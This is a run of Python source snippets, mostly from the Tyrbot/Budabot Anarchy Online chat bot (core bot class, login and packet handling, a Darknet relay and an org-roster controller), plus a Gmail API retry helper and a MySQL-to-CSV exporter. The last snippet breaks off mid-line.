class Tyrbot: CONNECT_EVENT = "connect" PRIVATE_MSG_EVENT = "private_msg" def __init__(self): super().__init__() self.logger = Logger(__name__) self.ready = False self.packet_handlers = {} self.superadmin = None self.status: BotStatus = BotStatus.SHUTDOWN self.dimension = None self.last_timer_event = 0 self.start_time = int(time.time()) self.version = "0.7-beta" self.incoming_queue = FifoQueue() self.mass_message_queue = None self.conns = DictObject() self.primary_conn_id = None def inject(self, registry): self.db = registry.get_instance("db") self.character_service: CharacterService = registry.get_instance( "character_service") self.public_channel_service: PublicChannelService = registry.get_instance( "public_channel_service") self.text: Text = registry.get_instance("text") self.setting_service: SettingService = registry.get_instance( "setting_service") self.access_service: AccessService = registry.get_instance( "access_service") self.event_service = registry.get_instance("event_service") self.job_scheduler = registry.get_instance("job_scheduler") def init(self, config, registry, mmdb_parser): self.mmdb_parser = mmdb_parser self.superadmin = config.superadmin.capitalize() self.dimension = config.server.dimension self.db.exec( "CREATE TABLE IF NOT EXISTS command_config (command VARCHAR(50) NOT NULL, sub_command VARCHAR(50) NOT NULL, access_level VARCHAR(50) NOT NULL, channel VARCHAR(50) NOT NULL, " "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS event_config (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, " "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL, is_hidden SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS timer_event (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, next_run INT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS setting (name VARCHAR(50) NOT NULL, value VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, module VARCHAR(50) NOT NULL, verified SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS command_alias (alias VARCHAR(50) NOT NULL, command VARCHAR(1024) NOT NULL, enabled SMALLINT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS command_usage (command VARCHAR(255) NOT NULL, handler VARCHAR(255) NOT NULL, char_id INT NOT NULL, channel VARCHAR(20) NOT NULL, created_at INT NOT NULL)" ) self.db.exec( "CREATE TABLE IF NOT EXISTS ban_list (char_id INT NOT NULL, sender_char_id INT NOT NULL, created_at INT NOT NULL, finished_at INT NOT NULL, reason VARCHAR(255) NOT NULL, ended_early SMALLINT NOT NULL)" ) self.db.exec("UPDATE db_version SET verified = 0") self.db.exec( "UPDATE db_version SET verified = 1 WHERE file = 'db_version'") # prepare commands, events, and settings self.db.exec("UPDATE command_config SET verified = 0") self.db.exec("UPDATE event_config SET verified = 0") self.db.exec("UPDATE setting SET verified = 0") with self.db.transaction(): registry.pre_start_all() registry.start_all() # remove commands, events, and settings that are no longer registered self.db.exec("DELETE FROM db_version WHERE verified = 0") self.db.exec("DELETE FROM command_config WHERE verified = 0") self.db.exec("DELETE FROM event_config WHERE verified = 0") self.db.exec( "DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config WHERE event_type = ?)", ["timer"]) self.db.exec("DELETE FROM setting WHERE verified = 0") self.status = BotStatus.RUN def pre_start(self): self.access_service.register_access_level("superadmin", 10, self.check_superadmin) self.event_service.register_event_type(self.CONNECT_EVENT) self.event_service.register_event_type(self.PRIVATE_MSG_EVENT) def start(self): self.setting_service.register( "core.system", "symbol", "!", TextSettingType(["!", "#", "*", "@", "$", "+", "-"]), "Symbol for executing bot commands") self.setting_service.register( "core.system", "org_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in org channel") self.setting_service.register( "core.system", "private_message_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private messages") self.setting_service.register( "core.system", "private_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private channel") self.setting_service.register( "core.system", "accept_commands_from_slave_bots", False, BooleanSettingType(), "Accept and respond to commands sent to slave bots (only applies if you have added slave bots in the config)" ) self.setting_service.register("core.colors", "header_color", "#FFFF00", ColorSettingType(), "Color for headers") self.setting_service.register("core.colors", "header2_color", "#FCA712", ColorSettingType(), "Color for sub-headers") self.setting_service.register("core.colors", "highlight_color", "#00BFFF", ColorSettingType(), "Color for highlight") self.setting_service.register("core.colors", "notice_color", "#FF8C00", ColorSettingType(), "Color for important notices") self.setting_service.register("core.colors", "neutral_color", "#E6E1A6", ColorSettingType(), "Color for neutral faction") self.setting_service.register("core.colors", "omni_color", "#FA8484", ColorSettingType(), "Color for omni faction") self.setting_service.register("core.colors", "clan_color", "#F79410", ColorSettingType(), "Color for clan faction") self.setting_service.register("core.colors", "unknown_color", "#FF0000", ColorSettingType(), "Color for unknown faction") self.setting_service.register("core.colors", "org_channel_color", "#89D2E8", ColorSettingType(), "Default org channel color") self.setting_service.register("core.colors", "private_channel_color", "#89D2E8", ColorSettingType(), "Default private channel color") self.setting_service.register("core.colors", "private_message_color", "#89D2E8", ColorSettingType(), "Default private message color") self.setting_service.register("core.colors", "blob_color", "#FFFFFF", ColorSettingType(), "Default blob content color") self.register_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message, priority=40) def check_superadmin(self, char_id): char_name = self.character_service.resolve_char_to_name(char_id) return char_name == self.superadmin def connect(self, config): for i, bot in enumerate(config.bots): if "id" in bot: _id = bot.id else: _id = "bot" + str(i) if i == 0: self.primary_conn_id = _id conn = self.create_conn(_id) conn.connect(config.server.host, config.server.port) # only create the mass_message_queue if there is at least 1 non-main bot if not bot.is_main and not self.mass_message_queue: self.mass_message_queue = FifoQueue() packet = conn.login(bot.username, bot.password, bot.character, is_main=bot.is_main) if not packet: self.status = BotStatus.ERROR return False else: self.incoming_queue.put((conn, packet)) self.create_conn_thread( conn, None if bot.is_main else self.mass_message_queue) return True def create_conn_thread(self, conn: Conn, mass_message_queue=None): def read_packets(): try: while self.status == BotStatus.RUN: packet = conn.read_packet(1) if packet: self.incoming_queue.put((conn, packet)) while mass_message_queue and not mass_message_queue.empty( ) and conn.packet_queue.is_empty(): packet = mass_message_queue.get_or_default(block=False) if packet: conn.add_packet_to_queue(packet) except (EOFError, OSError) as e: self.status = BotStatus.ERROR self.logger.error("", e) raise e dthread = threading.Thread(target=read_packets, daemon=True) dthread.start() def create_conn(self, _id): if _id in self.conns: raise Exception(f"A connection with id {_id} already exists") def failure_callback(): self.status = BotStatus.ERROR conn = Conn(_id, failure_callback) self.conns[_id] = conn return conn def disconnect(self): # wait for all threads to stop reading packets, then disconnect them all time.sleep(2) for _id, conn in self.get_conns(): conn.disconnect() def run(self): start = time.time() # wait for flood of packets from login to stop sending time_waited = 0 while time_waited < 2: if not self.iterate(1): time_waited += 1 self.logger.info("Login complete (%fs)" % (time.time() - start)) start = time.time() self.event_service.fire_event("connect", None) self.event_service.run_timer_events_at_startup() self.event_service.check_for_timer_events(int(start)) self.logger.info("Connect events finished (%fs)" % (time.time() - start)) time_waited = 0 while time_waited < 2: if not self.iterate(1): time_waited += 1 self.ready = True timestamp = int(time.time()) while self.status == BotStatus.RUN: try: timestamp = int(time.time()) self.check_for_timer_events(timestamp) self.iterate() except Exception as e: self.logger.error("", e) # run any pending jobs/events self.check_for_timer_events(timestamp + 1) return self.status def check_for_timer_events(self, timestamp): # timer events will execute no more often than once per second if self.last_timer_event < timestamp: self.last_timer_event = timestamp self.job_scheduler.check_for_scheduled_jobs(timestamp) self.event_service.check_for_timer_events(timestamp) def register_packet_handler(self, packet_id: int, handler, priority=50): """ Call during pre_start Args: packet_id: int handler: (conn, packet) -> void priority: int """ if len(inspect.signature(handler).parameters) != 2: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) handlers = self.packet_handlers.get(packet_id, []) handlers.append(DictObject({"priority": priority, "handler": handler})) self.packet_handlers[packet_id] = sorted(handlers, key=lambda x: x.priority) def remove_packet_handler(self, packet_id, handler): handlers = self.packet_handlers.get(packet_id, []) for h in handlers: if h.handler == handler: handlers.remove(h) def iterate(self, timeout=0.1): conn, packet = self.incoming_queue.get_or_default(block=True, timeout=timeout, default=(None, None)) if packet: if isinstance(packet, server_packets.SystemMessage): packet = self.system_message_ext_msg_handling(packet) self.logger.log_chat(conn, "SystemMessage", None, packet.extended_message.get_message()) elif isinstance(packet, server_packets.PublicChannelMessage): packet = self.public_channel_message_ext_msg_handling(packet) elif isinstance(packet, server_packets.BuddyAdded) and packet.char_id == 0: return for handler in self.packet_handlers.get(packet.id, []): handler.handler(conn, packet) return packet def public_channel_message_ext_msg_handling( self, packet: server_packets.PublicChannelMessage): msg = packet.message if msg.startswith("~&") and msg.endswith("~"): try: msg = msg[2:-1].encode("utf-8") category_id = self.mmdb_parser.read_base_85(msg[0:5]) instance_id = self.mmdb_parser.read_base_85(msg[5:10]) template = self.mmdb_parser.get_message_string( category_id, instance_id) params = self.mmdb_parser.parse_params(msg[10:]) packet.extended_message = ExtendedMessage( category_id, instance_id, template, params) except Exception as e: self.logger.error( "Error handling extended message for packet: " + str(packet), e) return packet def system_message_ext_msg_handling(self, packet: server_packets.SystemMessage): try: category_id = 20000 instance_id = packet.message_id template = self.mmdb_parser.get_message_string( category_id, instance_id) params = self.mmdb_parser.parse_params(packet.message_args) packet.extended_message = ExtendedMessage(category_id, instance_id, template, params) except Exception as e: self.logger.error( "Error handling extended message: " + str(packet), e) return packet def send_org_message(self, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if not conn.org_channel_id: self.logger.debug( f"Ignoring message to org channel for {conn.id} since the org_channel_id is unknown" ) else: color = self.setting_service.get( "org_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "org_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PublicChannelMessage( conn.org_channel_id, color + page, "") conn.add_packet_to_queue(packet) def send_private_message(self, char_id, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if char_id is None: raise Exception("Cannot send message, char_id is empty") else: color = self.setting_service.get( "private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_message_max_page_length").get_value()) for page in pages: self.logger.log_tell( conn, "To", self.character_service.get_char_name(char_id), page) packet = client_packets.PrivateMessage(char_id, color + page, "\0") conn.add_packet_to_queue(packet) def send_private_channel_message(self, msg, private_channel_id=None, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if private_channel_id is None: private_channel_id = conn.get_char_id() color = self.setting_service.get( "private_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PrivateChannelMessage( private_channel_id, color + page, "\0") conn.send_packet(packet) def send_mass_message(self, char_id, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if not char_id: self.logger.warning("Could not send message to empty char_id") else: color = self.setting_service.get( "private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_message_max_page_length").get_value()) for page in pages: if self.mass_message_queue: packet = client_packets.PrivateMessage( char_id, color + page, "\0") self.mass_message_queue.put(packet) else: packet = client_packets.PrivateMessage( char_id, color + page, "spam") self.get_primary_conn().send_packet(packet) def send_message_to_other_org_channels(self, msg, from_conn: Conn): for _id, conn in self.get_conns( lambda x: x.is_main and x.org_id and x != from_conn): self.send_org_message(msg, conn=conn) def handle_private_message(self, conn: Conn, packet: server_packets.PrivateMessage): char_name = self.character_service.get_char_name(packet.char_id) self.logger.log_tell(conn, "From", char_name, packet.message) self.event_service.fire_event( self.PRIVATE_MSG_EVENT, DictObject({ "char_id": packet.char_id, "name": char_name, "message": packet.message, "conn": conn })) def get_text_pages(self, msg, conn, max_page_length): if isinstance(msg, ChatBlob): return self.text.paginate(msg, conn, max_page_length=max_page_length) else: return [self.text.format_message(msg, conn)] def is_ready(self): return self.ready def shutdown(self): self.status = BotStatus.SHUTDOWN def restart(self): self.status = BotStatus.RESTART def get_primary_conn_id(self): return self.primary_conn_id def get_primary_conn(self): return self.conns[self.get_primary_conn_id()] def get_conn_by_char_id(self, char_id): for _id, conn in self.get_conns(): if char_id == conn.get_char_id(): return conn return None def get_conn_by_org_id(self, org_id): for _id, conn in self.get_conns(): if conn.org_id == org_id: return conn return None # placeholder to keep track of things that need to be fixed/updated def get_temp_conn(self): return self.get_primary_conn() def get_conns(self, conn_filter=None): if conn_filter: return [(_id, conn) for _id, conn in self.conns.items() if conn_filter(conn)] else: return self.conns.items()
def do_request(**kwargs): """ Realiza una petición a un recurso de Gmail API. :param kwargs: Parámetros de la petición. :type kwargs: dict. :return: Respuesta de Gmail API. """ """ Puede que ocurra un error de rateLimitExceeded o userRateLimitExceeded. En ese caso la documentación oficial recomienda implementar un exponential backoff https://developers.google.com/gmail/api/guides/migrate-from-emapi https://developers.google.com/drive/v2/web/handle-errors https://github.com/google/google-api-python-client/blob/master/googleapiclient/http.py#L65 """ from core.logger import Logger if "userId" not in kwargs: kwargs["userId"] = "me" Logger.info("Executing request...") # Reintentamos 3 veces. for n in range(0, 3): try: Logger.info("Try #{}".format(n + 1)) response = method(**kwargs).execute(num_retries=3) return response except errors.HttpError, e: Logger.info(e) Logger.info("Execution failed...") Logger.info("Status: {}".format(e.resp.status)) Logger.info("Reason: {}".format(e.resp.reason)) if e.resp.status in [403, 429, 503] or \ e.resp.reason in ["rateLimitExceeded", "userRateLimitExceeded"]: Logger.warning("Error {}. Retrying".format(e.resp.status)) time.sleep((2 ** n) + random.randint(0, 1000) / 1000) else: Logger.error("Unknown error: {}".format(e)) raise e
class Bot: def __init__(self): self.socket = None self.char_id = None self.char_name = None self.logger = Logger(__name__) def connect(self, host, port): self.logger.info("Connecting to '%s:%d'" % (host, port)) self.socket = socket.create_connection((host, port), 10) def disconnect(self): if self.socket: self.socket.shutdown(socket.SHUT_RDWR) self.socket.close() self.socket = None def login(self, username, password, character): character = character.capitalize() # read seed packet self.logger.info("Logging in as '%s'" % character) seed_packet = self.read_packet(10) seed = seed_packet.seed # send back challenge key = generate_login_key(seed, username, password) login_request_packet = LoginRequest(0, username, key) self.send_packet(login_request_packet) # read character list character_list_packet: LoginCharacterList = self.read_packet() if isinstance(character_list_packet, LoginError): self.logger.error("Error logging in: %s" % character_list_packet.message) return False if character not in character_list_packet.names: self.logger.error("Character '%s' does not exist on this account" % character) return False index = character_list_packet.names.index(character) # select character self.char_id = character_list_packet.char_ids[index] self.char_name = character_list_packet.names[index] if character_list_packet.online_statuses[index]: sleep_duration = 20 self.logger.warning( "Character '%s' is already logged on, waiting %ds before proceeding" % (self.char_name, sleep_duration)) time.sleep(sleep_duration) login_select_packet = LoginSelect(self.char_id) self.send_packet(login_select_packet) # wait for OK packet = self.read_packet() if packet.id == LoginOK.id: self.logger.info("Connected!") return packet else: self.logger.error("Error logging in: %s" % packet.message) return False def read_packet(self, max_delay_time=1): """ Wait for packet from server. """ read, write, error = select.select([self.socket], [], [], max_delay_time) if not read: return None else: # Read data from server head = self.read_bytes(4) packet_type, packet_length = struct.unpack(">2H", head) data = self.read_bytes(packet_length) try: return ServerPacket.get_instance(packet_type, data) except Exception as e: self.logger.error( "Error parsing packet parameters for packet_type '%d' and payload: %s" % (packet_type, data), e) return None def send_packet(self, packet): data = packet.to_bytes() data = struct.pack(">2H", packet.id, len(data)) + data self.write_bytes(data) def read_bytes(self, num_bytes): data = bytes() while num_bytes > 0: chunk = self.socket.recv(num_bytes) if len(chunk) == 0: raise EOFError num_bytes -= len(chunk) data = data + chunk return data def write_bytes(self, data): num_bytes = len(data) while num_bytes > 0: sent = self.socket.send(data) if sent == 0: raise EOFError data = data[sent:] num_bytes -= sent
class OakleyDbExporter(object): def __init__(self, connection_pool): self.logger = Logger(self.__class__.__name__).get() self.connection_pool = connection_pool def export_database(self, export_path): self.logger.info( "Exporting whole database to export path [{}]".format(export_path)) query = "SHOW TABLES" cnx = self.connection_pool.get_connection() cursor = cnx.cursor() cursor.execute(query) tables = [] for (table) in cursor: tables.append(table[0]) self.logger.info("Exporting [{}] tables".format(len(tables))) cursor.close() self.connection_pool.release_connection(cnx) for table_name in tables: self.export_table(table_name, export_path) def export_table(self, table_name, export_path): self.logger.info("Exporting table [{}] to export path [{}]".format( table_name, export_path)) query = "SELECT * FROM {}".format(table_name) cnx = self.connection_pool.get_connection() cursor = cnx.cursor() cursor.execute(query) file_name = os.path.join(export_path, '{}.csv'.format(table_name)) self.logger.info("Export filename is [{}]".format(file_name)) with open(file_name, 'wb') as my_file: wr = UnicodeWriter(my_file) wr.writerow(cursor.column_names) wr.writerow(OakleyDbExporter.get_column_types(cursor.description)) for item in cursor: item_list = list(item) for count in range(0, len(item_list)): if item_list[count] is None: item_list[count] = 'NULL' wr.writerow(item_list) cursor.close() self.connection_pool.release_connection(cnx) self.logger.info("Completed exporting table [{}]".format(table_name)) @staticmethod def get_column_types(column_desc): types = [] for column in column_desc: types.append(field_type[column[1]]) return types
class DarkController: relay_channel_id = None relay_name = None MESSAGE_SOURCE = "darknet" message_regex = re.compile(r"^(<font color='#\S+'>){2}\[([a-zA-Z]{2,})\]<\/font> <font color='#\S+'>(.+)<\/font> <font color='#\S+'>\[(.+)\]<\/font> \[(.+)\]$", re.DOTALL) def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.bot: Tyrbot = registry.get_instance("bot") self.setting_service: SettingService = registry.get_instance("setting_service") self.character_service: CharacterService = registry.get_instance("character_service") self.message_hub_service = registry.get_instance("message_hub_service") def pre_start(self): self.bot.register_packet_handler(server_packets.PrivateChannelInvited.id, self.handle_private_channel_invite, 50) self.bot.register_packet_handler(server_packets.PrivateChannelMessage.id, self.handle_private_channel_message) self.message_hub_service.register_message_source(self.MESSAGE_SOURCE) def start(self): self.setting_service.register(self.module_name, "dark_relay", "false", BooleanSettingType(), "Is the Module Enabled?") self.setting_service.register(self.module_name, "dark_wts", "true", BooleanSettingType(), "Is the WTS channel visible?") self.setting_service.register(self.module_name, "dark_wtb", "true", BooleanSettingType(), "Is the WTB channel visible?") self.setting_service.register(self.module_name, "dark_lr", "true", BooleanSettingType(), "Is the Lootrights channel visible?") self.setting_service.register(self.module_name, "dark_gen", "true", BooleanSettingType(), "Is the General channel visible?") self.setting_service.register(self.module_name, "dark_pvp", "true", BooleanSettingType(), "Is the PvP channel visible?") self.setting_service.register(self.module_name, "dark_pvm", "true", BooleanSettingType(), "Is the PVM channel visible?") self.setting_service.register(self.module_name, "dark_event", "true", BooleanSettingType(), "Is the Event channel visible?") def handle_private_channel_invite(self, conn: Conn, packet: server_packets.PrivateChannelInvited): if not conn.is_main: pass if self.setting_service.get_value("dark_relay") == "0": return if "Darknet" == self.character_service.get_char_name(packet.private_channel_id): channel_name = self.character_service.get_char_name(packet.private_channel_id) conn.send_packet(client_packets.PrivateChannelJoin(packet.private_channel_id)) self.logger.info("Joined private channel {channel}".format(channel=channel_name)) self.relay_channel_id = packet.private_channel_id self.relay_name = channel_name def handle_private_channel_message(self, conn, packet: server_packets.PrivateChannelMessage): if not conn.is_main: pass if self.setting_service.get_value("dark_relay") == "0": return if packet.private_channel_id == self.relay_channel_id: if conn.get_char_id() == packet.char_id: return if packet.char_id != self.relay_channel_id: return channel_name = self.character_service.get_char_name(packet.private_channel_id) char_name = self.character_service.get_char_name(packet.char_id) self.logger.log_chat(conn, "Private Channel(%s)" % channel_name, char_name, packet.message) message = packet.message.lstrip() self.process_incoming_relay_message(message) def process_incoming_relay_message(self, message): if re.search(self.message_regex, message): cont = re.findall(self.message_regex, message) cont = cont[0] ch = cont[1].lower() msg = cont[2] tell = cont[3] report = cont[4] if ch == "wts": if self.setting_service.get_value("dark_wts") == "0": return channel = "<red>[WTS]</red>" elif ch == "wtb": if self.setting_service.get_value("dark_wtb") == "0": return channel = "<green>[WTB]</green>" elif ch == "lootrights": if self.setting_service.get_value("dark_lr") == "0": return channel = "<violet>[LR]</violet>" elif ch == "general": if self.setting_service.get_value("dark_gen") == "0": return channel = "<notice>[Gen]</notice>" elif ch == "pvm": if self.setting_service.get_value("dark_pvm") == "0": return channel = "<cyan>[PvM]</cyan>" elif ch == "event": if self.setting_service.get_value("dark_event") == "0": return channel = "<highlight>[Event]</highlight>" elif ch == "pvp": if self.setting_service.get_value("dark_pvp") == "0": return channel = "<grey>[PvP]</grey>" elif ch == "auction": channel = "<yellow>[AUCTION]</yellow>" else: return message = "<orange>%s<end> [%s] [%s]" % (msg, tell, report) self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, channel, message)
class Bot: def __init__(self): self.socket = None self.char_id = None self.char_name = None self.logger = Logger("Budabot") def connect(self, host, port): self.logger.info("Connecting to %s:%d" % (host, port)) self.socket = socket.create_connection((host, port), 10) def disconnect(self): if self.socket: self.socket.shutdown(socket.SHUT_RDWR) self.socket.close() self.socket = None def login(self, username, password, character): character = character.capitalize() # read seed packet self.logger.info(("Logging in as %s" % character)) seed_packet = self.read_packet() seed = seed_packet.seed # send back challenge key = generate_login_key(seed, username, password) login_request_packet = LoginRequest(0, username, key) self.send_packet(login_request_packet) # read character list character_list_packet = self.read_packet() index = character_list_packet.names.index(character) # select character self.char_id = character_list_packet.character_ids[index] self.char_name = character_list_packet.names[index] login_select_packet = LoginSelect(self.char_id) self.send_packet(login_select_packet) # wait for OK packet = self.read_packet() if packet.id == LoginOK.id: self.logger.info("Connected!") return True else: self.logger.error("Error logging in: %s" % packet.message) return False def read_packet(self, time=1): """ Wait for packet from server. """ read, write, error = select.select([self.socket], [], [], time) if not read: return None else: # Read data from server head = self.read_bytes(4) packet_type, packet_length = struct.unpack(">2H", head) data = self.read_bytes(packet_length) packet = ServerPacket.get_instance(packet_type, data) return packet def send_packet(self, packet): data = packet.to_bytes() data = struct.pack(">2H", packet.id, len(data)) + data self.write_bytes(data) def read_bytes(self, num_bytes): data = bytes() while num_bytes > 0: chunk = self.socket.recv(num_bytes) if len(chunk) == 0: raise EOFError num_bytes -= len(chunk) data = data + chunk return data def write_bytes(self, data): num_bytes = len(data) while num_bytes > 0: sent = self.socket.send(data) if sent == 0: raise EOFError data = data[sent:] num_bytes -= sent
class OrgMemberController: ORG_BUDDY_TYPE = "org_member" ORG_ACCESS_LEVEL = "org_member" MODE_AUTO = "auto" MODE_IGNORE = "ignore" MODE_MANUAL = "manual" ORG_MEMBER_LOGON_EVENT = "org_member_logon" ORG_MEMBER_LOGOFF_EVENT = "org_member_logoff" def __init__(self): self.logger = Logger(__name__) def inject(self, registry): self.db = registry.get_instance("db") self.buddy_service = registry.get_instance("buddy_service") self.public_channel_service = registry.get_instance( "public_channel_service") self.access_service = registry.get_instance("access_service") self.org_pork_service = registry.get_instance("org_pork_service") self.event_service = registry.get_instance("event_service") def pre_start(self): self.event_service.register_event_type(self.ORG_MEMBER_LOGON_EVENT) self.event_service.register_event_type(self.ORG_MEMBER_LOGOFF_EVENT) self.access_service.register_access_level(self.ORG_ACCESS_LEVEL, 60, self.check_org_member) @event(event_type="connect", description="Add members as buddies of the bot on startup") def handle_connect_event(self, event_type, event_data): for row in self.get_all_org_members(): self.buddy_service.add_buddy(row.char_id, self.ORG_BUDDY_TYPE) @event(event_type=BuddyService.BUDDY_LOGON_EVENT, description="Check if buddy is an org member") def handle_buddy_logon_event(self, event_type, event_data): if self.get_org_member(event_data.char_id): self.event_service.fire_event(self.ORG_MEMBER_LOGON_EVENT, event_data) @event(event_type=BuddyService.BUDDY_LOGOFF_EVENT, description="Check if buddy is an org member") def handle_buddy_logoff_event(self, event_type, event_data): if self.get_org_member(event_data.char_id): self.event_service.fire_event(self.ORG_MEMBER_LOGOFF_EVENT, event_data) @timerevent(budatime="24h", description="Download the org_members roster") def handle_connect_event(self, event_type, event_data): org_id = self.public_channel_service.get_org_id() if org_id: db_members = {} for row in self.get_all_org_members(): db_members[row.char_id] = row.mode self.logger.info("Updating org_members roster for org_id %d" % org_id) org_info = self.org_pork_service.get_org_info(org_id) if org_info: for char_id, roster_member in org_info.org_members.items(): db_member = db_members.get(char_id, None) if not db_member: self.add_org_member(char_id, self.MODE_AUTO) elif db_member == self.MODE_AUTO: # do nothing del db_members[char_id] elif db_member == self.MODE_MANUAL: self.update_org_member(char_id, self.MODE_AUTO) del db_members[char_id] elif db_member == self.MODE_IGNORE: # do nothing del db_members[char_id] for char_id, mode in db_members.items(): if mode == self.MODE_AUTO: self.remove_org_member(char_id) elif mode == self.MODE_IGNORE: self.remove_org_member(char_id) elif mode == self.MODE_MANUAL: # do nothing pass def get_org_member(self, char_id): return self.db.query_single( "SELECT char_id FROM org_member WHERE char_id = ?", [char_id]) def get_all_org_members(self): return self.db.query("SELECT char_id, mode FROM org_member") def add_org_member(self, char_id, mode): return self.db.exec( "INSERT INTO org_member (char_id, mode) VALUES (?, ?)", [char_id, mode]) def remove_org_member(self, char_id): return self.db.exec("DELETE FROM org_member WHERE char_id = ?", [char_id]) def update_org_member(self, char_id, mode): return self.db.exec("UPDATE org_member SET mode = ? WHERE char_id = ?", [mode, char_id]) def check_org_member(self, char_id): return self.get_org_member(char_id) is not None
class Tyrbot: CONNECT_EVENT = "connect" PACKET_EVENT = "packet" PRIVATE_MSG_EVENT = "private_msg" OUTGOING_ORG_MESSAGE_EVENT = "outgoing_org_message" OUTGOING_PRIVATE_MESSAGE_EVENT = "outgoing_private_message" OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT = "outgoing_private_channel_message" def __init__(self): super().__init__() self.logger = Logger(__name__) self.ready = False self.packet_handlers = {} self.superadmin = None self.status: BotStatus = BotStatus.SHUTDOWN self.dimension = None self.last_timer_event = 0 self.start_time = int(time.time()) self.version = "0.5-beta" self.incoming_queue = FifoQueue() self.mass_message_queue = None self.conns = DictObject() def inject(self, registry): self.db = registry.get_instance("db") self.character_service: CharacterService = registry.get_instance("character_service") self.public_channel_service: PublicChannelService = registry.get_instance("public_channel_service") self.text: Text = registry.get_instance("text") self.setting_service: SettingService = registry.get_instance("setting_service") self.access_service: AccessService = registry.get_instance("access_service") self.event_service = registry.get_instance("event_service") self.job_scheduler = registry.get_instance("job_scheduler") def init(self, config, registry, paths, mmdb_parser): self.mmdb_parser = mmdb_parser self.superadmin = config.superadmin.capitalize() self.dimension = config.server.dimension self.db.exec("UPDATE db_version SET verified = 0") self.db.exec("UPDATE db_version SET verified = 1 WHERE file = 'db_version'") self.load_sql_files(paths) # prepare commands, events, and settings self.db.exec("UPDATE command_config SET verified = 0") self.db.exec("UPDATE event_config SET verified = 0") self.db.exec("UPDATE setting SET verified = 0") with self.db.transaction(): registry.pre_start_all() registry.start_all() # remove commands, events, and settings that are no longer registered self.db.exec("DELETE FROM db_version WHERE verified = 0") self.db.exec("DELETE FROM command_config WHERE verified = 0") self.db.exec("DELETE FROM event_config WHERE verified = 0") self.db.exec("DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config WHERE event_type = ?)", ["timer"]) self.db.exec("DELETE FROM setting WHERE verified = 0") self.status = BotStatus.RUN def pre_start(self): self.access_service.register_access_level("superadmin", 10, self.check_superadmin) self.event_service.register_event_type(self.CONNECT_EVENT) self.event_service.register_event_type(self.PACKET_EVENT) self.event_service.register_event_type(self.PRIVATE_MSG_EVENT) self.event_service.register_event_type(self.OUTGOING_ORG_MESSAGE_EVENT) self.event_service.register_event_type(self.OUTGOING_PRIVATE_MESSAGE_EVENT) self.event_service.register_event_type(self.OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT) def start(self): self.setting_service.register_new("core.system", "symbol", "!", TextSettingType(["!", "#", "*", "@", "$", "+", "-"]), "Symbol for executing bot commands") self.setting_service.register_new("core.system", "org_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in org channel") self.setting_service.register_new("core.system", "private_message_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private messages") self.setting_service.register_new("core.system", "private_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private channel") self.setting_service.register_new("core.system", "org_id", "", NumberSettingType(allow_empty=True), "Override the default org id", "This setting is is for development/debug purposes and should not be changed unless you understand the implications") self.setting_service.register_new("core.system", "org_name", "", TextSettingType(allow_empty=True), "The exact org name of the bot", "This setting is automatically set by the bot and should not be changed manually") self.setting_service.register_new("core.colors", "header_color", "#FFFF00", ColorSettingType(), "Color for headers") self.setting_service.register_new("core.colors", "header2_color", "#FCA712", ColorSettingType(), "Color for sub-headers") self.setting_service.register_new("core.colors", "highlight_color", "#00BFFF", ColorSettingType(), "Color for highlight") self.setting_service.register_new("core.colors", "notice_color", "#FF8C00", ColorSettingType(), "Color for important notices") self.setting_service.register_new("core.colors", "neutral_color", "#E6E1A6", ColorSettingType(), "Color for neutral faction") self.setting_service.register_new("core.colors", "omni_color", "#FA8484", ColorSettingType(), "Color for omni faction") self.setting_service.register_new("core.colors", "clan_color", "#F79410", ColorSettingType(), "Color for clan faction") self.setting_service.register_new("core.colors", "unknown_color", "#FF0000", ColorSettingType(), "Color for unknown faction") self.setting_service.register_new("core.colors", "org_channel_color", "#89D2E8", ColorSettingType(), "Default org channel color") self.setting_service.register_new("core.colors", "private_channel_color", "#89D2E8", ColorSettingType(), "Default private channel color") self.setting_service.register_new("core.colors", "private_message_color", "#89D2E8", ColorSettingType(), "Default private message color") self.setting_service.register_new("core.colors", "blob_color", 